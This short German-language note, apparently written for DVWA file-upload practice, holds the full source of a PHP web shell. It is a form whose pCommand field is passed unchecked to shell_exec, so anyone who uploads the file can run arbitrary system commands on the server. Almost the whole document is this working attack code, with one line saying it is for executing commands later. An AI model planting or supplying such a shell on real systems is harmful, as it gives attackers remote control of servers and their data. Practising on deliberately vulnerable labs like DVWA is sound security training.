DVWA File Upload Komando Ausführung
file.php
- Dieser PHP File so später Komandos ausführen
<form action="" method="post" enctype="application/x-www-form-urlencoded">
Please enter system command
Command
<input type="text" name="pCommand" size="50">
<input type="submit" value="Execute Command" />
</form>
<?php
if (isset($_REQUEST["pCommand"])) {
echo "<pre>";
echo shell_exec($_REQUEST["pCommand"]);
echo "></pre>";
}//end if
?>